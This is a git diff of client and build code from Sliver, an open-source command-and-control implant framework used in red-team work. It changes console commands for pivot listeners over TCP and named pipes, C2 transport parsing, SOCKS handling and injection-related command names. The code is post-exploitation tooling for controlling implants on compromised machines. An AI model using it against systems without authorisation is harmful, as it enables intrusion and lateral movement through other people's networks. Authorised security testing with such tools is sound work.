||||
_, err := con.Rpc.NamedPipes(context.Background(), &sliverpb.NamedPipesReq{
|
||||
PipeName: pipeName,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Listening on %s", "\\\\.\\pipe\\"+pipeName)
|
||||
}
|
||||
@@ -19,71 +19,84 @@ package pivots
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// PivotsCmd - Display pivots for all sessions
|
||||
func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
timeout := ctx.Flags.Int("timeout")
|
||||
sessionID := ctx.Flags.String("id")
|
||||
if sessionID != "" {
|
||||
session := con.GetSession(sessionID)
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
printPivots(session, int64(timeout), con)
|
||||
} else {
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session != nil {
|
||||
printPivots(session, int64(timeout), con)
|
||||
} else {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
for _, session := range sessions.Sessions {
|
||||
printPivots(session, int64(timeout), con)
|
||||
}
|
||||
}
|
||||
}
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
}
|
||||
|
||||
func printPivots(session *clientpb.Session, timeout int64, con *console.SliverConsoleClient) {
|
||||
pivotList, err := con.Rpc.ListPivots(context.Background(), &sliverpb.PivotListReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: timeout,
|
||||
Async: false,
|
||||
},
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if pivotListeners.Response != nil && pivotListeners.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", pivotListeners.Response.Err)
|
||||
|
||||
if pivotList.Response != nil && pivotList.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", pivotList.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
if len(pivotListeners.Listeners) == 0 {
|
||||
con.PrintInfof("No pivot listeners running on this session\n")
|
||||
if len(pivotList.Entries) > 0 {
|
||||
con.PrintInfof("Session %d\n", session.ID)
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
fmt.Fprintf(table, "type\taddress\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t\n",
|
||||
strings.Repeat("=", len("type")),
|
||||
strings.Repeat("=", len("address")),
|
||||
)
|
||||
|
||||
for _, entry := range pivotList.Entries {
|
||||
fmt.Fprintf(table, "%s\t%s\t\n", entry.Type, entry.Remote)
|
||||
}
|
||||
table.Flush()
|
||||
con.Printf(outputBuf.String())
|
||||
} else {
|
||||
PrintPivotListeners(pivotListeners.Listeners, con)
|
||||
con.PrintInfof("No pivots found for session %d\n", session.ID)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintPivotListeners - Print a table of pivot listeners
|
||||
func PrintPivotListeners(pivotListeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Protocol",
|
||||
"Bind Address",
|
||||
"Number of Pivots",
|
||||
})
|
||||
for _, listener := range pivotListeners {
|
||||
tw.AppendRow(table.Row{
|
||||
listener.ID,
|
||||
PivotTypeToString(listener.Type),
|
||||
listener.BindAddress,
|
||||
len(listener.Pivots),
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
|
||||
// PivotTypeToString - Convert a pivot type to a human string
|
||||
func PivotTypeToString(pivotType sliverpb.PivotType) string {
|
||||
switch pivotType {
|
||||
case sliverpb.PivotType_TCP:
|
||||
return "TCP"
|
||||
case sliverpb.PivotType_UDP:
|
||||
return "UDP"
|
||||
case sliverpb.PivotType_NamedPipe:
|
||||
return "Named Pipe"
|
||||
}
|
||||
return "Unknown"
|
||||
}
|
||||
@@ -1,74 +0,0 @@
|
||||
package pivots
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// StartTCPListenerCmd - Start a TCP pivot listener on the remote system
|
||||
func StartTCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
bind := ctx.Flags.String("bind")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
|
||||
Type: sliverpb.PivotType_TCP,
|
||||
BindAddress: fmt.Sprintf("%s:%d", bind, lport),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if listener.Response != nil && listener.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", listener.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Started tcp pivot listener %s with id %d\n", listener.BindAddress, listener.ID)
|
||||
}
|
||||
|
||||
// StartNamedPipeListenerCmd - Start a TCP pivot listener on the remote system
|
||||
func StartNamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
|
||||
Type: sliverpb.PivotType_NamedPipe,
|
||||
BindAddress: ctx.Flags.String("bind"),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if listener.Response != nil && listener.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", listener.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Started named pipe pivot listener %s with id %d\n", listener.BindAddress, listener.ID)
|
||||
}
|
||||
@@ -1,64 +0,0 @@
|
||||
package pivots
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// StopPivotListenerCmd - Start a TCP pivot listener on the remote system
|
||||
func StopPivotListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
id := uint32(ctx.Flags.Int("id"))
|
||||
if id == uint32(0) {
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if len(pivotListeners.Listeners) == 0 {
|
||||
con.PrintInfof("No pivot listeners running on this session\n")
|
||||
return
|
||||
}
|
||||
selectedListener, err := SelectPivotListener(pivotListeners.Listeners, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
id = selectedListener.ID
|
||||
}
|
||||
_, err := con.Rpc.PivotStopListener(context.Background(), &sliverpb.PivotStopListenerReq{
|
||||
ID: id,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Stopped pivot listener\n")
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package pivots
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// TCPListenerCmd - Start a TCP pivot listener on the remote system
|
||||
func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
server := ctx.Flags.String("server")
|
||||
lport := uint16(ctx.Flags.Int("lport"))
|
||||
address := fmt.Sprintf("%s:%d", server, lport)
|
||||
|
||||
_, err := con.Rpc.TCPListener(context.Background(), &sliverpb.TCPPivotReq{
|
||||
Address: address,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Listening on tcp://%s", address)
|
||||
}
|
||||
@@ -44,46 +44,22 @@ func InteractiveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
|
||||
mtlsC2, err := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
mtlsC2 := generate.ParseMTLSc2(ctx.Flags.String("mtls"))
|
||||
c2s = append(c2s, mtlsC2...)
|
||||
|
||||
wgC2, err := generate.ParseWGc2(ctx.Flags.String("wg"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
wgC2 := generate.ParseWGc2(ctx.Flags.String("wg"))
|
||||
c2s = append(c2s, wgC2...)
|
||||
|
||||
httpC2, err := generate.ParseHTTPc2(ctx.Flags.String("http"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
httpC2 := generate.ParseHTTPc2(ctx.Flags.String("http"))
|
||||
c2s = append(c2s, httpC2...)
|
||||
|
||||
dnsC2, err := generate.ParseDNSc2(ctx.Flags.String("dns"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
dnsC2 := generate.ParseDNSc2(ctx.Flags.String("dns"))
|
||||
c2s = append(c2s, dnsC2...)
|
||||
|
||||
namedPipeC2, err := generate.ParseNamedPipec2(ctx.Flags.String("named-pipe"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
namedPipeC2 := generate.ParseNamedPipec2(ctx.Flags.String("named-pipe"))
|
||||
c2s = append(c2s, namedPipeC2...)
|
||||
|
||||
tcpPivotC2, err := generate.ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return
|
||||
}
|
||||
tcpPivotC2 := generate.ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
|
||||
|
||||
@@ -31,14 +31,14 @@ import (
|
||||
func SocksRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
socksID := ctx.Flags.Int("id")
|
||||
if socksID < 1 {
|
||||
con.PrintErrorf("Must specify a valid socks5 id\n")
|
||||
con.PrintErrorf("Must specify a valid portfwd id\n")
|
||||
return
|
||||
}
|
||||
found := core.SocksProxies.Remove(socksID)
|
||||
if !found {
|
||||
con.PrintErrorf("No socks5 with id %d\n", socksID)
|
||||
con.PrintErrorf("No portfwd with id %d\n", socksID)
|
||||
} else {
|
||||
con.PrintInfof("Removed socks5\n")
|
||||
con.PrintInfof("Removed portfwd\n")
|
||||
}
|
||||
|
||||
// close
|
||||
|
||||
@@ -117,17 +117,16 @@ const (
|
||||
// Generic
|
||||
|
||||
// NewStr - "new"
|
||||
NewStr = "new"
|
||||
AddStr = "add"
|
||||
StartStr = "start"
|
||||
StopStr = "stop"
|
||||
SetStr = "set"
|
||||
UnsetStr = "unset"
|
||||
SaveStr = "save"
|
||||
ReloadStr = "reload"
|
||||
LoadStr = "load"
|
||||
TablesStr = "tables"
|
||||
DetailsStr = "details"
|
||||
NewStr = "new"
|
||||
AddStr = "add"
|
||||
StartStr = "start"
|
||||
StopStr = "stop"
|
||||
SetStr = "set"
|
||||
UnsetStr = "unset"
|
||||
SaveStr = "save"
|
||||
ReloadStr = "reload"
|
||||
LoadStr = "load"
|
||||
TablesStr = "tables"
|
||||
|
||||
LootStr = "loot"
|
||||
LootLocalStr = "local"
|
||||
@@ -147,7 +146,7 @@ const (
|
||||
HttpStr = "http"
|
||||
HttpsStr = "https"
|
||||
NamedPipeStr = "named-pipe"
|
||||
TCPListenerStr = "tcp"
|
||||
TCPListenerStr = "tcp-pivot"
|
||||
|
||||
MsfStr = "msf"
|
||||
MsfInjectStr = "msf-inject"
|
||||
@@ -207,7 +206,7 @@ const (
|
||||
RegistryListSubStr = "list-subkeys"
|
||||
RegistryListValuesStr = "list-values"
|
||||
RegistryCreateKeyStr = "create"
|
||||
PivotsStr = "pivots"
|
||||
PivotsListStr = "pivots-list"
|
||||
WgConfigStr = "wg-config"
|
||||
WgSocksStr = "wg-socks"
|
||||
WgPortFwdStr = "wg-portfwd"
|
||||
@@ -229,6 +228,8 @@ const (
|
||||
GetPrivsStr = "getprivs"
|
||||
PreludeOperatorStr = "prelude-operator"
|
||||
ConnectStr = "connect"
|
||||
|
||||
LibInjectStr = "lib-inject"
|
||||
)
|
||||
|
||||
// Groups
|
||||
|
||||
@@ -290,30 +290,6 @@ OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
======================================================================================================
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2018-2021 Frank Denis
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
======================================================================================================
|
||||
|
||||
Copyright (c) 2009 The Go Authors. All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
|
||||
@@ -33,8 +33,6 @@ import (
|
||||
|
||||
var SessionMapper *PreludeSessionMapper
|
||||
|
||||
const defaultImplantSleep = 5
|
||||
|
||||
type OperatorConfig struct {
|
||||
Range string
|
||||
OperatorURL string
|
||||
@@ -90,7 +88,7 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
|
||||
Links: make([]Instruction, 0),
|
||||
Executing: "",
|
||||
Pwd: pwd,
|
||||
Sleep: defaultImplantSleep,
|
||||
Sleep: 3,
|
||||
}
|
||||
|
||||
if p.conf.AESKey == "" {
|
||||
@@ -105,7 +103,6 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
|
||||
Address: p.conf.OperatorURL,
|
||||
Pid: int(s.PID),
|
||||
Executing: make(map[string]Instruction),
|
||||
Sleep: defaultImplantSleep,
|
||||
}
|
||||
util.EncryptionKey = &agentConfig.AESKey
|
||||
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
|
||||
|
||||
+1
-1
@@ -19,7 +19,7 @@
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.17.5"
|
||||
GO_VER="1.17.3"
|
||||
GARBLE_VER="1.17.5"
|
||||
COFF_LOADER_VER="1.0.7"
|
||||
|
||||
|
||||
+13
-32
@@ -17,32 +17,21 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
echo "----------------------------------------------------------------"
|
||||
echo "WARNING: Running unit tests on slow systems can take a LONG time"
|
||||
echo " Recommended to only run on 16+ CPU cores and 32Gb+ RAM"
|
||||
echo "----------------------------------------------------------------"
|
||||
|
||||
## Util
|
||||
|
||||
# util
|
||||
if go test -tags=server,gosqlite ./util ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# util / encoders
|
||||
if go test -tags=server,gosqlite ./util/encoders/basex ; then
|
||||
if go test -tags=server ./util/encoders/basex ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
if go test -tags=server,gosqlite ./util/encoders ; then
|
||||
if go test -tags=server ./util/encoders ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
if go test -tags=client,gosqlite ./util/encoders ; then
|
||||
if go test -tags=client ./util/encoders ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
@@ -51,7 +40,7 @@ fi
|
||||
## Implant
|
||||
|
||||
# implant / sliver / transports / dnsclient
|
||||
if go test -tags=server,gosqlite ./implant/sliver/transports/dnsclient ; then
|
||||
if go test -tags=server ./implant/sliver/transports/dnsclient ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
@@ -60,7 +49,7 @@ fi
|
||||
## Server
|
||||
|
||||
# server / website
|
||||
if go test -tags=server,gosqlite ./server/website ; then
|
||||
if go test -tags=server ./server/website ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -68,7 +57,7 @@ else
|
||||
fi
|
||||
|
||||
# server / loot
|
||||
if go test -tags=server,gosqlite ./server/loot ; then
|
||||
if go test -tags=server ./server/loot ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -76,7 +65,7 @@ else
|
||||
fi
|
||||
|
||||
# server / certs
|
||||
if go test -tags=server,gosqlite ./server/certs ; then
|
||||
if go test -tags=server ./server/certs ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -84,15 +73,7 @@ else
|
||||
fi
|
||||
|
||||
# server / cryptography
|
||||
if go test -tags=server,gosqlite ./server/cryptography ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / cryptography / minisign
|
||||
if go test -tags=server,gosqlite ./server/cryptography/minisign ; then
|
||||
if go test -tags=server ./server/cryptography ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -100,7 +81,7 @@ else
|
||||
fi
|
||||
|
||||
# server / gogo
|
||||
if go test -tags=server,gosqlite ./server/gogo ; then
|
||||
if go test -tags=server ./server/gogo ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -108,7 +89,7 @@ else
|
||||
fi
|
||||
|
||||
# server / c2
|
||||
if go test -tags=server,gosqlite ./server/c2 ; then
|
||||
if go test -tags=server ./server/c2 ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -116,7 +97,7 @@ else
|
||||
fi
|
||||
|
||||
# server / configs
|
||||
if go test -tags=server,gosqlite ./server/configs ; then
|
||||
if go test -tags=server ./server/configs ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -124,7 +105,7 @@ else
|
||||
fi
|
||||
|
||||
# server / console
|
||||
if go test -tags=server,gosqlite ./server/console ; then
|
||||
if go test -tags=server ./server/console ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
@@ -132,7 +113,7 @@ else
|
||||
fi
|
||||
|
||||
# server / generate
|
||||
if go test -tags=server,gosqlite ./server/generate -timeout 6h ; then
|
||||
if go test -tags=server ./server/generate -timeout 6h ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
|
||||
@@ -21,8 +21,8 @@ require (
|
||||
github.com/fatih/color v1.12.0
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/gofrs/uuid v3.3.0+incompatible
|
||||
github.com/golang/protobuf v1.5.2 // indirect
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/golang/protobuf v1.5.2
|
||||
github.com/google/uuid v1.2.0
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
|
||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||
@@ -32,7 +32,7 @@ require (
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mattn/go-isatty v0.0.13 // indirect
|
||||
github.com/mattn/go-sqlite3 v1.14.9
|
||||
github.com/mattn/go-sqlite3 v1.14.5
|
||||
github.com/miekg/dns v1.1.35
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/pquerna/otp v1.3.0
|
||||
@@ -61,14 +61,11 @@ require (
|
||||
require (
|
||||
github.com/emirpasic/gods v1.12.0
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/shirou/gopsutil/v3 v3.21.10
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
modernc.org/sqlite v1.14.3
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
|
||||
github.com/StackExchange/wmi v1.2.1 // indirect
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
|
||||
github.com/VividCortex/ewma v1.1.1 // indirect
|
||||
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
|
||||
@@ -80,7 +77,6 @@ require (
|
||||
github.com/desertbit/closer/v3 v3.1.2 // indirect
|
||||
github.com/desertbit/readline v1.5.1 // indirect
|
||||
github.com/dlclark/regexp2 v1.2.0 // indirect
|
||||
github.com/go-ole/go-ole v1.2.6 // indirect
|
||||
github.com/go-sql-driver/mysql v1.5.0 // indirect
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/hashicorp/errwrap v1.1.0 // indirect
|
||||
@@ -96,29 +92,16 @@ require (
|
||||
github.com/jinzhu/inflection v1.0.0 // indirect
|
||||
github.com/jinzhu/now v1.1.2 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
|
||||
github.com/mattn/go-colorable v0.1.8 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.9 // indirect
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
golang.org/x/mod v0.3.0 // indirect
|
||||
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
|
||||
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
|
||||
golang.org/x/tools v0.1.0 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
|
||||
lukechampine.com/uint128 v1.1.1 // indirect
|
||||
modernc.org/cc/v3 v3.35.18 // indirect
|
||||
modernc.org/ccgo/v3 v3.12.95 // indirect
|
||||
modernc.org/libc v1.11.104 // indirect
|
||||
modernc.org/mathutil v1.4.1 // indirect
|
||||
modernc.org/memory v1.0.5 // indirect
|
||||
modernc.org/opt v0.1.1 // indirect
|
||||
modernc.org/strutil v1.1.1 // indirect
|
||||
modernc.org/token v1.0.0 // indirect
|
||||
)
|
||||
@@ -37,8 +37,6 @@ github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61
|
||||
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667 h1:l2RCK7mjLhjfZRIcCXTVHI34l67IRtKASBjusViLzQ0=
|
||||
github.com/Netflix/go-expect v0.0.0-20190729225929-0e00d9168667/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
|
||||
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU=
|
||||
github.com/StackExchange/wmi v1.2.1 h1:VIkavFPXSjcnS+O8yTq7NI32k0R5Aj+v39y29VYDOSA=
|
||||
github.com/StackExchange/wmi v1.2.1/go.mod h1:rcmrprowKIVzvc+NUiLncP2uuArMWLCbu9SBzvHz7e8=
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab h1:96tkQLYmgypA3W42fvC3UX3EoOP3hQZuT7d98lnnwyc=
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRyl/gQs67eDgVEWNE7+x+zCyXhdtNVrRJR5YPE=
|
||||
github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
|
||||
@@ -112,8 +110,6 @@ github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZm
|
||||
github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
|
||||
github.com/dlclark/regexp2 v1.2.0 h1:8sAhBGEM0dRWogWqWyQeIJnxjWO6oIjl8FKqREDsGfk=
|
||||
github.com/dlclark/regexp2 v1.2.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
|
||||
github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
|
||||
